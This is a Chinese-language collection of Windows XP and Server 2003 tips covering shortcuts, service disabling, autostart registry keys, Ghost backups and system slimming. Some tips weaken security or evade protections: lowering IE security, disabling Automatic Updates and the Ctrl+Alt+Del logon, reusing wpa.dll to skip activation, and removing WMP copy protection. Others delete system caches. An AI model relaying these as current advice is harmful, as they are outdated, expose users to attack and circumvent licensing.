Windows徽标键+Pause Break键打开“系统属性”对话框
Windows键+m 显示桌面
Windows键+pause 系统属性
快速重新启动:按确定前先按shift.
彻底删除:shift+del
不让光盘自动运行:按shift
Ctrl+Esc:相当于" 开始" 或WIN 键
Ctrl+Home :将游标移至文字编辑区的开始处(Home单用:移至列首)
Ctrl+End:将光标移至文字编辑区的终点(End 单用:移至列尾)
Alt+F4:关闭当前视窗(若是点一下桌面再按则为关机)
F2:更改名称
Windows键+e:资源管理器
Windows键+r:运行
Windows键+f:查找
Windows键+u:关闭系统
Windows键+d:最小化所有窗口,再按一次Windows键+D 可回到最小化前的窗口
Windows键+m:最小化所有窗口,但再按一次无法回到最小化前的窗口
Shift+F10: 可以打开所选项目的右键菜单
alt+tab :在多个任务之间切换
按住 CTRL+SHIFT 拖动文件:创建快捷方式
关机快捷方式:
(1 )在桌面空白位置按鼠标右键 -> < 新建> ->选< 快捷方式>
(2 )在< 指令行> 键入 rundll.exe user.exe,exitwindows
(3 )在< 选择快捷方式的名称> 键入< 关闭Window> 或你想要的名称 -> 按< 完成>
重新启动快捷方式:
(1 )重复以上(1 )
(2 )在< 指令行> 键入 rundll.exe user.exe,exitwindow***ec
(3 )在< 选择快捷方式的名称> 键入< 重新启动Restart>或你想要的名称 -> 按< 完成>
七 Windows XP中快速转换FAT32至NTFS

Windows XP本身支持NTFS分区,使用NTFS分区的安全程度和磁盘管理比其他分区格式要好。在安装Windows
XP时,系统会自动让你选择是否将现有分区转化为NTFS分区,如果当时没有选择,而现在又想将硬盘转为NTFS,除了使用Partition
Magic等工具软件外,其实还有一个更为简单实用的方法。
1. 点“开始→程序→附件→命令”提示符。
 2. 打开窗口以后,在光标的提示符下输入“convert
c:/FS:NTFS”,然后回车。注意在“convert”的后面有一个空格。
 3. 接着系统会要求你输入C盘的卷标,然后回车。卷标在“我的电脑”中点C盘,然后看它的属性可以找到。
  这样就可简单地转换分区格式为NTFS了。这个方法只用于FAT32转为NTFS,不能将NTFS转为FAT32。

八 屏蔽Windows XP的信使服务

在Windows XP中,“信使服务”在服务列表中名称为“Messenger”,该服务用来传输客户端和服务器之间的Net
Send和Alerter(报警器)服务消息。此服务与Windows
Messenger无关。默认情况下,“信使服务”是打开的,所以当你的电脑连接到Internet上时,一些网站(包括厂商网站)可以通过该服务发送一些信息,在目标用户的计算机上会弹出一个名为“信使服务”的对话框。这些不请自到的“信使”通常是一些广告等无用信息,而且在你使用电脑时,突然出现的“信使服务”会干扰工作。我们可以使用下述方法关闭“信使服务”。
 1. 运行命令法
  单击Windows“开始”菜单,单击“运行”。在“打开”框中,键入“net stop messenger”。单击“确定”按钮。
  命令“net stop messenger”的作用是停止“信使服务”,要启用“信使服务”,请使用“net start
messenger”命令。
  2. 服务设置法
  打开“控制面板”,单击“性能和维护”,单击“管理工具”,双击“服务”。单击“Messenger”,然后在“操作”菜单中,单击“属性”。进入“常规”选项卡,单击“停止”按钮,再将“启动类型”改为“手动”或“已禁用”。如果“Messenger”服务被停止,Alerter消息不会被传输。如果“Messenger”服务被禁用,任何直接依赖于它的服务将无法启动,这正是我们所希望的。最后单击“确定”按钮。
九 清除预读文件
当xp使用一段时间后,预读文件夹里的文件会变得很大,里面会有死链文件,这会减慢系统时间。建议:定期删除(c:\windows\prefetch)里的这些文件


在使用IE浏览一些网页时,出现错误提示对话框:“该程序执行了非法操作,即将关闭……”,单击“确定”按钮后又弹出一个对话框,提示“发生内部错误……”。单击“确定”按钮后,所有打开的IE窗口都被关闭。
该错误产生原因多种多样,内存资源占用过多、IE安全级别设置与浏览的网站不匹配、与其他软件发生冲突、浏览网站本身含有错误代码……这些情况都有可能,需要耐心加以解决。
①关闭过多的IE窗口。如果在运行需占大量内存的程序,建议IE窗口打开数不要超过5个。
②降低IE安全级别。执行“工具→Internet选项”菜单,选择“安全”选项卡,单击“默认级别”按钮,拖动滑块降低默认的安全级别。
③将IE升级到最新版本。
可使用以IE为核心的浏览器,如MyIE2。它占用系统资源相对要少,而且当浏览器发生故障关闭时,下次启动它,会有“是否打开上次发生错误时的页面”的提示,尽可能地帮你挽回损失。下载地址:http://download.sina.com.cn/cgi-bin/detail.cgi?s_id=8012

十一 故障恢复控制台命令
Attrib
更改文件或目录的属性。
Batch
执行文本文件中的指定命令。
Bootcfg
引导文件 (boot.ini) 配置和恢复。
ChDir (Cd)
显示当前目录名称,或者更改当前的文件夹。
Chkdsk
检查磁盘并显示状态报告。
Cls
清除屏幕。
copy
将单个文件复制到其他位置。
Delete (Del)
删除一个或多个文件。
Dir
显示目录中的文件和子目录列表。
Disable
禁用系统服务或者设备驱动程序。
Diskpart
管理硬盘分区。
Enable
开始或者启用系统服务或设备驱动程序。
Exit
退出故障恢复控制台并重新启动计算机。
Expand
从压缩文件中提取文件。
Fixboot
将新的分区引导扇区写到指定分区。
Fixmbr
修复指定磁盘的主启动记录。
Format
格式化磁盘。
Help
显示在故障恢复控制台使用的命令列表。
Listsvc
列出计算机上可以使用的服务和驱动程序。
Logon
登录到 Windows 安装。
Map
显示驱动器映射。
Mkdir (md)
创建目录。
More
显示文本文件。
Net use
将网络共享连接到驱动器号。
Rename (Ren)
重新命名单个文件。
Rmdir (Rd)
删除目录。
Set
显示和设置环境变量。
Systemroot
将当前目录设置为当前登录的系统的系统根目录。
Type
显示文本文件。


十二 寻找Windows的自启动程序  
如果系统启动时自动加载的程序过多,会造成启动速度缓慢,而很多病毒或者木马也是在系统启动时自动加载的。所以了解怎样在Windows中查找自启
动程序是非常重要的。
  一、在“启动”文件夹中寻找
  “启动”文件夹一般位于“系统盘符\Documents and Settings\用户名\开始菜单\程序\启动\”目录(Win
2000/XP)或“系统盘符\WINDOWS\Start
Menu\Programs\启动\”目录。通过快捷方式的属性可以查出程序所在的位置。
  二、从自动批处理文件中寻找
  在Win 98中,Autoexec.bat和Winstart.bat文件中的程序在开机时自动执行;而在Win
Me/2000/XP/2003中,这两个批处理文件默认不被执行。
  三、从系统配置文件中寻找
  在有些系统配置文件中也可以找到自启动程序的踪迹,如Config.sys、Win.ini、System.ini、Wininit.ini和Msdos.sys等。
  四、通过“系统配置实用程序”寻找
  在“开始→运行”中键入“msconfig.exe”启动“系统配置实用程序”,进入“启动”选项卡,即可查看随系统启动的程序名称和位置。
  注意:Win 2000本身没有Msconfig程序,可以从Win XP/2003中提取

五、从计划任务中寻找
  在“控制面板”中双击“任务计划”就可以查看是否有计划任务随系统一起启动。
  六、使用“系统信息”寻找
  进入“系统信息”主界面,依次展开分支“软件环境→启动程序”,就可以在右窗格中查看自启动程序名称和位置。
  七、使用“组策略”寻找
  在Win
2000/XP/2003中,在“开始→运行”中键入“gpedit.msc”,打开“组策略”,依次展开“用户配置→管理模板→系统→登录/注销”,双击“在用户登录时运行这些程序”,单击“显示”按钮,即可查看自启动程序。
  八、通过注册表寻找
  在注册表中,可以从下列键值中查找自启动程序的名称和位置。
  1.Userinit键
  位于“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit”。这个键允许指定用逗号分隔的多个程序。
  2.Explorer\Run键
  位于“HKEY_CURRENT_USER\Software\Mic
rosoft\Windows\CurrentVersion\Policies\Explorer\Run”和“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
3.RunServicesOnce键
  RunServicesOnce键用来启动服务程序,在用户登录之前启动,具体位置是“HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\RunServicesOnce”和“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce”。
  4.RunServices键
  RunServices键指定的程序在RunServicesOnce指定的程序之后运行,不过仍在用户登录之前。具体位置是:“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices”和“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\RunServices”。
  5.Run键
  Run是自动运行程序最常用的键,位置在“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”和“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”。
  6.Load键
  位于“HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load”。
  另外还有RunOnce、RunOnce\Setup等键。
  九、使用工具软件
  除了使用系统提供的工具以外,我们还可以求助于第三方软件,比如Windows优化大师、RegRun Gold等等。
十三 windows xp系统中可以被禁用的服务对照表
服务其实是Win 2000/XP/2003中一种特殊的应用程序类型,不过它是在后台运行,所以我们在任务管理器看不到它。
  安装Win XP后,通常系统会默认启动许多服务,其中有些服务是普通用户根本用不到的,不但占用系统资源,还有可能被黑客所利用。
  查看正在启用的服务项目
  以Win
XP为例,首先你要使用系统管理员账户或以拥有Administrator权限的用户身份登录,然后在“运行”中输入“cmd.exe”打开命令行窗口,再输入“net
start”回车后,就会显示出系统正在运行的服务
为了更详细地查看各项服务的信息,我们可以在“开始→控制面板→管理工具”中双击“服务”,或者直接在“运行”中输入“Services.msc”打开服务设置窗口
  关闭、禁止与重新启用服务
  服务分为三种启动类型:
  1.自动:如果一些无用服务被设置为自动,它就会随机器一起启动,这样会延长系统启动时间。通常与系统有紧密关联的服务才必须设置为自动。
  2.手动:只有在需要它的时候,才会被启动。
  3.已禁用:表示这种服务将不再启动,即使是在需要它时,也不会被启动,除非修改为上面两种类型。
  如果我们要关闭正在运行的服务,只要选中它,然后在右键菜单中选择“停止”即可。但是下次启动机器时,它还可能自动或手动运行。
如果服务项目确实无用,可以选择禁止服务。在右键菜单中选择“属性”,然后在“常规→启动类型”列表中选择“已禁用”,这项服务就会被彻底禁用。
如果以后需要重新起用它,只要在此选择“自动”或“手动”即可;也可以通过命令行“net start 服务名”来启动,比如“net
start Clipbook”。
必须禁止的服务
1.NetMeeting Remote Desktop
Sharing:允许受权的用户通过NetMeeting在网络上互相访问对方。这项服务对大多数个人用户并没有多大用处,况且服务的开启还会带来安全问题,因为上网时该服务会把用户名以明文形式发送到连接它的客户端,黑客的嗅探程序很容易就能探测到这些账户信息。
  2.Universal Plug and Play Device
Host:此服务是为通用的即插即用设备提供支持。这项服务存在一个安全漏洞,运行此服务的计算机很容易受到攻击。攻击者只要向某个拥有多台Win
XP系统的网络发送一个虚假的UDP包,就可能会造成这些Win
XP主机对指定的主机进行攻击(DDoS)。另外如果向该系统1900端口发送一个UDP包,令“Location”域的地址指向另一系统的chargen端口,就有可能使系统陷入一个死循环,消耗掉系统的所有资源(需要安装硬件时需手动开启)。
3.Messenger:俗称信使服务,电脑用户在局域网内可以利用它进行资料交换(传输客户端和服务器之间的Net
Send和Alerter服务消息,此服务与Windows
Messenger无关。如果服务停止,Alerter消息不会被传输)。这是一个危险而讨厌的服务,Messenger服务基本上是用在企业的网络管理上,但是垃圾邮件和垃圾广告厂商,也经常利用该服务发布弹出式广告,标题为“信使服务”。而且这项服务有漏洞,MSBlast和Slammer病毒就是用它来进行快速传播的。
  4.Terminal Services:允许多位用户连接并控制一台机器,并且在远程计算机上显示桌面和应用程序。如果你不使用Win
XP的远程控制功能,可以禁止它。
  5.Remote
Registry:使远程用户能修改此计算机上的注册表设置。注册表可以说是系统的核心内容,一般用户都不建议自行更改,更何况要让别人远程修改,所以这项服务是极其危险的。
  6.Fast User Switching Compatibility:在多用户下为需要协助的应用程序提供管理。Windows
XP允许在一台电脑上进行多用户之间的快速切换,但是这项功能有个漏洞,当你点击“开始→注销→快速切换”,在传统登录方式下重复输入一个用户名进行登录时,系统会认为是暴力破解,而锁定所有非管理员账户。如果不经常使用,可以禁止该服务。或者在“控制面板→用户账户→更改用户登录或注销方式”中取消“使用快速用户切换”。

7.Telnet:允许远程用户登录到此计算机并运行程序,并支持多种 TCP/IP Telnet客户,包括基于 UNIX 和
Windows 的计算机。又一个危险的服务,如果启动,远程用户就可以登录、访问本地的程序,甚至可以用它来修改你的ADSL
Modem等的网络设置。除非你是网络专业人员或电脑不作为服务器使用,否则一定要禁止它。
 8.Performance Logs And
Alerts:收集本地或远程计算机基于预先配置的日程参数的性能数据,然后将此数据写入日志或触发警报。为了防止被远程计算机搜索数据,坚决禁止它。
  9.Remote Desktop Help Session Manager:如果此服务被终止,远程协助将不可用。
  10.TCP/IP NetBIOS Helper:NetBIOS在Win
9X下就经常有人用它来进行攻击,对于不需要文件和打印共享的用户,此项也可以禁用。
可以禁止的服务
  以上十项服务是对安全威胁较大的服务,普通用户一定要禁用它。另外还有一些普通用户可以按需求禁止的服务:
  1.Alerter:通知所选用户和计算机有关系统管理级警报。如果你未连上局域网且不需要管理警报,则可将其禁止。
  2.Indexing Service:本地和远程计算机上文件的索引内容和属性,提供文件快速访问。这项服务对个人用户没有多大用处。
  3.Application Layer Gateway
Service:为Internet连接共享和Internet连接防火墙提供第三方协议插件的支持。如果你没有启用Internet连接共享或Windows
XP的内置防火墙,可以禁止该服务。
  4.Uninterruptible Power Supply:管理连接到计算机的不间断电源,没有安装UPS的用户可以禁用。
  5.Print Spooler:将文件加载到内存中以便稍后打印。如果没装打印机,可以禁用。
  6.Smart Card:管理计算机对智能卡的读取访问。基本上用不上,可以禁用。
  7.Ssdp Discovery
Service:启动家庭网络上的upnp设备自动发现。具有upnp的设备还不多,对于我们来说这个服务是没有用的。
  8.Automatic Updates:自动从Windows Update网络更新补丁。利用Windows
Update功能进行升级,速度太慢,建议大家通过多线程下载工具下载补丁到本地硬盘后,再进行升级。
  9.Clipbook:启用“剪贴板查看器”储存信息并与远程计算机共享。如果不想与远程计算机进行信息共享,就可以禁止。
  10.Imapi Cd-burning Com Service:用Imapi管理CD录制,虽然Win
XP中内置了此功能,但是我们大多会选择专业刻录软件,另外如果没有安装刻录机的话,也可以禁止该服务。
  11.Workstation:创建和维护到远程服务的客户端网络连接。如果服务停止,这些连接都将不可用。
  12.Error Reporting
Service:服务和应用程序在非标准环境下运行时,允许错误报告。如果你不是专业人员,这个错误报告对你来说根本没用。
  再就是如下几种服务对普通用户而言也没有什么作用,大家可以自己决定取舍,如:Routing and Remote
Access、Net Logon、Network DDE和Network DDE DSDM。

十四 Windows Server 2003实用小技巧
Windows 2003优化配置
Windows 2003优化配置
1、登录前不按“Ctrl+Alt+Del”组合键
  Windows
2003每次启动时,都需要先按下“Ctrl+Alt+Del”组合键,再键入密码才能登录,实在是很麻烦。取消的方法是:进入“开始→管理工具→本地安全策略”,在窗口左侧找到“本地策略→安全选项”,在右侧找到“交互式登录:不需要按“Ctrl+Alt+Del”选项,双击它,并设置为“已启用”即可。
2、取消IE增强安全配置对话框
  在使用Windows Server
2003自带的IE浏览器浏览网页时,每次都会出现一个安全提示对话框,其实这是因为微软把IE的默认安全级别设置为“高”。通过在IE的“Internet选项”对话框中选择“安全”标签,并在“Internet”的“该区域的安全级别”处拖动滚动条把它设置为“中”就可以取消安全提示对话框。
  3、启用Windows XP桌面主题
  在“开始”菜单的“运行”对话框中输入services.msc命令进入“服务”配置操作窗口。双击右窗口中的“Themes”服务并在弹出的窗口中选择“常规”标签,在“启动类型”下拉菜单中选择“自动”,然后分别单击“应用”和“启动”按钮开启Windows
XP桌面主题功能。最后在“显示”属性窗口中就可以选择相应的桌面主题。

首先,单击“开始|管理工具”,选择“服务”选项启动服务管理程序。在服务管理程序的窗口中您可以从右边的服务列表中查看系统内所有已安装的服务,双击“Themes”服务的名称,在“启动类型”下拉菜单中选择“自动”。然后,确认关闭“Themes的属性”对话框,用鼠标右键单击“Themes”服务的名称,选择“启动”可以马上启动该服务。

用鼠标右键单击桌面,选择“属性”,打开“显示属性”设置窗口,您会发现已经可以通过从“主题”下拉菜单中选择主题来修改Windows
Server 2003的桌面外观了使用了桌面主题的Windows Server 2003看上去与Windows
XP没有什么大的差别。
4、 取消关机原因的提示
Windows Server
2003在每次关闭时,都会显示关闭事件跟踪程序,要求选择关闭或者重新启动电脑的原因。收集与关机原因有关的信息对服务器来说非常有用,但对个人用户来说就太麻烦了,所以我们要关闭这一程序。

首先,单击“开始|运行”,在“运行”对话框中输入“gpedit.msc”运行“组策略编辑器”,在“组策略编辑器”窗口中依次打开“计算机配置”、“管理模板”、“系统”,在右边窗口中找到“显示关闭跟踪程序”设置项,用鼠标右键单击该项,选择“属性”,在“显示关闭跟踪程序属性”对话框中选择“已禁止”,然后单击“确认”按钮,即可避免关闭电脑时的麻烦。

5、启动视频加速功能
视频部分的加速功能在Windows Server
2003中是默认被关闭的。您可以使用鼠标右键单击桌面,选择“属性”打开“显示属性”设置窗口。单击“设置”选项卡并单击“高级”按钮打开监视器的高级设置窗口,再单击“疑难解答”选项卡,您会看到视频硬件加速的滑块被拉到最左边。在系统硬件没有问题的情况下,建议您将滑块拉到最右边使硬件加速最大,您会感到系统的显示速度有非常明显的提高。

接下来,再单击“开始|所有程序|附件|系统工具”,选择“系统信息”,在“系统信息”窗口中选择“工具”菜单中的“Direct
X诊断工具”。在“Direct
X诊断工具”检查过系统的视频模块后,单击“显示”选项卡,再单击“启用”按钮启动所有之前被禁止的视频加速功能。
6、 CD刻录服务
  在Windows 2003的默认设置下是无法刻录CD的,解决方法是:进入“服务”窗口,找到“IMAPI CD-Burning
COM Service”项,双击它进入设置窗体,将“启动类型”更改为“自动”,并点击“启动”按钮。
7、图像捕获服务
  假如需要使用摄像头、数码相机、扫
描仪等影像设备,那么必须启用图像捕获服务。进入“开始→管理工具→服务”,在“服务”窗口中找到“Windows Image
Acquisition”项,双击它进入设置窗体,将“启动类型”更改为“自动”,并点击“启动”按钮即可
8、禁止服务器管理器自动运行
创建新用户账户并在注册表中设置好自动登录系统后,启动电脑就会直接进入系统了,但每次登录Windows Server
2003,系统将自动打开一个“管理您的服务器”对话窗口。对于服务器来说,管理员每次登录的目的肯定都是管理服务器,该功能显得非常体贴和方便。但是对于个人用户来说,该功能就显得有点多余了,为了禁止该窗口在每次登录时自动出现,只要在已经打开的窗口中,选中左下角的“在登录时不要显示此页”即可。


十五 GHOST 硬盘功能选项
  -----Disk To Disk 硬盘对硬盘完全拷贝
  -----Disk To Image 硬盘内容备份成映像文件
  -----Disk From Image 从映像文件复原到硬盘
  Partition 分区功能选项
  -----Partition To Partition 分区对分区完全拷贝
  -----Partition To Image 分区内容备份成映像文件
  -----Partition From Image 从映像文件复原到分区
十六 为何我在DOS下安装Windows XP很慢
你一定没有在安装前运行smartdrv.exe,如果不运行这个,可能一个晚上你也安装不完。smartdrv.exe这么文件在Windows
98/Me的光盘或是Windows/command/里有。

十七 禁用Dr. Watson调试程序
  在运行中输入“drwtsn32”,然后把除了“(Dump All Thread
Contexts)转储全部线程上下文”之外的全都去掉,否则一旦有程序出错,硬盘会响很久,而且会占用很多硬盘空间。


十八 禁止使用Shift键自动登录
在Windows
XP中如果启用了自动登录功能,普通用户就可以通过按Shift键绕过登录输入用户名和口令的程序,从而造成非正常登录。我们可以设置注册表的相关键值来防止这种非法登录。进入注册表编辑程序,在HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon中新建串值“Ignoreshiftoverride”,将值更改为“1”。这样就可以有效的禁止使用一些用户利用Shift键自动登录。
十九 禁用Windows 2000/XP的启动画面
在资源管理器窗口中依次点击“工具/文件夹选项”菜单命令,在弹出的对话框中切换到“查看”选项卡,选中“显示所有的文件和文件夹”,并将“隐藏受保护的操作系统文件(推荐)”前面的复选框清空,单击“确定”按钮退出。接着进入系统根目录(一般为C:\),用鼠标右键单击Boot.ini文件,选择“属性”,在“常规”选项卡中清空“只读”前的复选框。
  用“记事本”打开Boot.ini文件,然后在Windows
2000/XP操作系统所在那一行语句(如multi(0)disk(0)rdisk(0)partition(2)\WINDOWS="Microsoft
Windows XP Professional"
/fastdetect)后面加一个空格,再加上参数“/noguiboot”(不包括引号),最后保存并关闭Boot.ini文件,恢复其只读属性。
  如果你觉得上述方法过于麻烦,笔者这里还有一个比较简单的方法:点击“开始/运行”,在对话框中输入“Msconfig”打开“系统配置实用程序”,切换到“BOOT.INI”选项卡,在“启动选项”中选中“/NOGUIBOOT”确定即可。不过此技巧只适用于Windows
XP,因为Windows 2000没有“系统配置实用程序”而无法使用。
  提示:如果你改了之后觉得不好又想再改回来也很容易,在Windows
9x中只要将“Logo=0”改回“Logo=1”或者直接删除即可;在Windows 2000/XP中只需将所加的参数去掉即可。

二十 光驱自动运行功能
打开“注册表编辑器”,找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom下,把Autorun的键值从默认1更改为0即可。

二十一
为什么我在本机上用Windows Media Player制作的音乐不能在别人的机器上播放呢?
答:这是所谓的音乐版权保护在作怪,用WMP制作的音乐会记录本机上的一些信息,当操作系统环境或者硬件环境发生变化时,这些音乐就不能继续听了。要解决这个问题很简单,在Windows
Media Player中单击“工具”菜单中的“选项”命令,然后选择“复制音乐”标签,取消“复制设置”中的“保护内容”选项即可。
二十二 用GHOST备份系统
1 用软盘启动(我有个无忧启动光盘里面就有这个软件)到DOS下!2
运行GHOST,首先是版本介绍,点击OK进入进入主界面;3选择Local\Partition\To
Image,程序显示安装了的硬盘个数,点击OK进入分区表显示,用鼠标或光标移动键选定要备份的分区(C),单击OK,4
在Filename栏键入镜像文件名及存放位置(不要选系统所在的分区),然后按Entter(回车键)
5选定是否压缩(NO,Fast,High)后。看看那进度条走!几分钟就备份好了!

二十三 windowsXP修复引导记录的方法:
把XP的安装盘放入光驱启动电脑!等扫描完!在出现要现在安装XP请按“ENTER”键。要用控制台修复XP请按“R”键。要退出安装程序不安装XP请按“F3”键。三个对话框中选按R键修复XP!在恢复控制台提示符下键入FixBoot(重写引导记录)后!它出现对话框你选Y!然后键入EXIT退出重启
二十四 重新安装IE 6。
1把XP安装CD放入CD驱动器,从“开始”菜单运行下面的命令:rundll32.exe setupapi,
InstallHinfSection DefaultInstall 132
%windir%\inf\ie.inf。如果这个命令无效,启动注册表编辑器Regedit,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ActiveSetup\InstalledComponents\{89820200-ECBD-11cf-8B85-00AA005B4383},把该键的值从1改为0,XP将自动开始安装IE
二十五 为何我安装了 Windows XP 关机总是变成重起
  哈哈,能遇到这个问题算你幸运了,这个问题是有些主板的高级电源管理不能被WindowsXP支持。一般用AWARD的BIOS的主板的电脑没有这个问题,到目前为止,遇到AMI的BIOS的主板有这个问题,如技嘉的主板。解决的办法是升级你的主板的BIOS,即刷新BIOS.,哈哈,可不要刷错了型号。

二十六 巧装Windows XP SP1

自从Windows XP
SP1中文版出来以后,许多网友就反映说多次尝试在线安装,均以失败告终,提示安装的语言不对。就算将它下载到本地硬盘,双击进行安装,还是以失败告终。有些人查资料、上网求助,得知改注册表就可以了,提示说:在“HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nis\Language”处,把子键“Default”和“InstallLanguage”的键值由“0409”改为“0804”,重启电脑即可,可还是提示语言不对,以失败告终。难道真的没办法了吗?
  不,在这里我就教大家如何顺利安装Windows XP SP1,具体方法如下:
  1、首先下载SP1,下载地址是:http://www.skycn.com/soft/9418.html;
  2、得到文件xpsp1_cn_x86.exe后,不要双击进行安装,用WinRAR将其解压到某一目录,如:H:\sp1;
  3、将Windows XP的安装文件复制到一目录中,比如:H:\winxp;
  4、点击“开始”→“运行”,在对话框中输入“h:\sp1\update\update -s:h:\winxp”,点击“确定”;
  5、这时程序自动把SP1的更新信息集成到Windows XP的安装程序中;
  6、双击“H:\winxp\setup.exe”,然后点击“安装Microsoft Windows
XP”,进行全新安装(不要害怕,你原来安装的程序不会丢失的);
  7、按默认提示安装,会出现尝试性恢复Windows
XP,按R进行尝试性恢复,然后自动重启,并重新进入尝试性恢复界面,再按一下R进行尝试性恢复,以下一直按默认安装下去;
  8、最终安装成功,连激活都不需要,以前安装的程序安然无恙,系统属性中显示“版本 2002 Service Pack 1”。
  你也可以将第5步中集成SP1的Windows XP的安装程序刻成光盘,以后安装Windows XP时就不需要另行升级了。
怎么样?是不是解决了你一直以来的苦恼啊?赶快去试试吧,让你的Windows XP稳定!

二十七 运行菜单中的“快捷方式”


Windows系列操作系统有一个东西非常好用,这就是“运行”命令。在里面输入相应的命令就可以很快捷的打开特定的软件,如:输入“notepad.exe”就可以打开记事本。这个功能在WinXP里面得到了加强,现在在里面输入下面的红色字体内容就可以很方便的打开特定的管理工具。
Computer management 计算机管理 : compmgmt.msc
Device manager 设备管理器 : devmgmt.msc
Disk management 磁盘管理 : diskmgmt.msc
Disk defrag 磁盘碎片整理程序: dfrg.msc
Event viewer 事件查看器 : eventvwr.msc
Shared folders 共享文件夹 : fsmgmt.msc
Group policies 组策略 : gpedit.msc
Local users and groups 本机用户和组 : lusrmgr.msc
Performance monitor 性能 : perfmon.msc
Local security settings 本地安全设置 : secpol.msc
Services 服务 : services.msc
Resultant set of policies 策略的结果集: rsop.msc
二十八 Windows XP使用小技巧几则
1.快速断开拨号网络
尽管现在宽带上网已经提出了很长时间,但用Modem拨号上网恐怕仍然是目前比较流行的上网方式。可是,据笔者试验,在Windows
XP中使用拨号网络,经常会出现一些莫名其妙的错误,有时表示连在网上的拨号网络小图标也会从任务栏上消失,这时候就无法断开拨号网络了,但是ISP提供商和电信局仍然在收费!许多人不得不通过注销用户或者重新启动计算机甚至关闭电源的方法来强制断开拨号网络。其实,笔者有一个非常巧妙的方法,只要单击“开始”→“设置”→“网络连接”,进入“网络连接”窗口,然后试着双击其中的任何一个连接,如果出现“连接到”窗口,则不是目前所使用的连接(此时千万不要点击“连接”钮进行拨号),如果出现“连接到×××”窗口,说明当前使用的就是这个连接,点击“断开连接”钮就可以断开链接了,同时通过这个小窗口,我们还可以了解到如Modem的连接速度、上网的时间、上传与下载字节数、上网所用的Modem类型、服务器类型、目前使用的协议等有关网络的许多讯息,非常方便。
2.QQ运行异常缓慢
腾讯的QQ在国内似乎已经成了网上聊天的代名词,的确,QQ的出现给我们即时通讯带来了很大的方便,而且相当便宜、实用。但是不知道微软是不是为了推广她的MSN,在Windows
XP中运行QQ,速度会变得异常缓慢!不过,这个问题我们可以使用两种方法来解决:(1)安装QQ的最新版QQ2000b Build
1020(可以从腾讯公司的网站下载),安装即可。(2)打开“控制面板”→“系统”→“高级”→“性能设置”→“视觉效果页”中的自定义,把“拖拉时显示窗口内容”这一项去掉即可。这样,你在Windows
XP下使用QQ时将会发现其速度大有长进。这样,QQ就可以为你更加卖力地干活了。
3.无法关联BMP
在Windows下,我们对关联程序并不陌生。但是经过笔者试用发现,无论你在Windows
XP中安装何种看图软件(如ACDSee、SlowView、Irfan
View),而且作任何设置,系统都不会将BMP关联给看图软件,而总是调用其内置的预览图片程序,相当霸道!不过,如果我们运行注册表编辑器,并将HKEY-CLASSES-ROOT\SystemFileAssociations\image键删除掉,再进入看图软件进行关联设置就行了。
4.快速锁定工作站
在Windows
XP工作时,我们经常要锁定计算机,当计算机被锁定后,只有重新登录才能够使用计算机,从而保证了计算机的安全。但是,一般情况下我们需要锁定计算机操作时,都是按下Ctrl+Alt+Del(或者为Delete)键,然后再单击“锁定计算机”按钮来实现的,这样操作起来不仅麻烦,而且弄不好就会造成系统重启。其实,只要我们在桌面上新建一命令行中命令为“%windir%\System32\rundll32.exe
user32.dll,LockWorkStation”的快捷方式,并将它命名为“快速锁定计算机”,以后要锁定计算机只要双击桌面上的这个图标,即会出现“本计算机已经被管理员锁定,请按Ctrl+Alt+Del解除锁定”这一提示,按照提示信息按下“Ctrl+Alt+Del”键即可出现登录窗口,输入用户名和密码即可登录,非常方便。
5.让Windows XP“支持”休眠
大家都知道,休眠状态,是将计算机置于一种保持状态,此时计算机会将内存中的数据存放在硬盘上并关闭你的电源,等下次开机时还可以恢复到先前的状态,它可以在很大程度上来保护机器。但是,很多用户在选择“开始”→“关机”按钮后并不能看到“休眠”选项,从而无法把Windows
XP休眠。不过,如果你按下Shift键,再点击“开始”→“关机”按钮后就可以看到“休眠”选项了。
6.备份你的激活信息
众所周知,在Windows
XP和Office XP中加入一种新的防盗版激活技术。一般产品安装完成后都要激活,但如果你重新安装系统或者更换新硬件后,又得重新激活,非常麻烦。其实,对于Windows
XP,我们只要把Windows\System32\wpa.dll备份一下,等重新安装系统后再把这个文件覆盖一下即可。而对于Office
XP,则只要备份C:\Program Files\Common Files\Microsoft
Shared\Office10\mso.dll即可。用这种方法我们就再也不用去找微软解释为什么换机器硬件或其他原因了,省了一份心。

 
二十九 给WINDOWS XP減肥
xp用起来确实不错,但是体积有点太大了,最初的安装就有1.3g,如果是使用
免激活的英文2600+中文汉化包体积会更大。我在网上征集众多高人的经验和 我的本人的意见创作出xp终极瘦身大法,在这里跟大家分享。
1. 删除系统文件备份 sfc.exe /purgecache (一般用户是不怎么用的)
2 删除驱动备份 windows\driver cache\i386目录下的Driver.cab文件 (73mb)
3. 取消系统还原 (总体来说系统还原功能还是不错的,建议除了xp安装的那个
盘使用,其它盘都别用,如果哪一天硬盘的空间不够了,可以通过系统清理程 序删除一些比较早的还原点)
4、删除帮助文件(减掉40多mb) (使用中文汉化包的文件大小为92兆,刚开始 使用xp的同志最好别删)
5、删掉\WINDOWS\system32\dllcache下文件(减去200——300mb)。
(这是备用的dll文件,只要你拷贝了安装文件,完全可以这样做。既然这样删你 没话说)
6、把我的文档、IE的临时文件夹都转到其他盘(分区)。 (同时对系统的速
度,和硬盘都有好处,如果使用的是双系统,最好把两个系统的IE临时文件都 放在同一个文件夹,这样既加快速度有节省空间)
7、把虚拟内存也转到其他盘。 (最好就是将这些东西和平时临时下载文件放 在一个不大的分区里,这样也方便整理硬盘)
8、将应用软件装在其他盘(这对重装系统也有好处,可以省很多事)。
9、删除\windows\ime下不用的输入法! (日文,韩文,繁体中文输入 法,84.5MB)
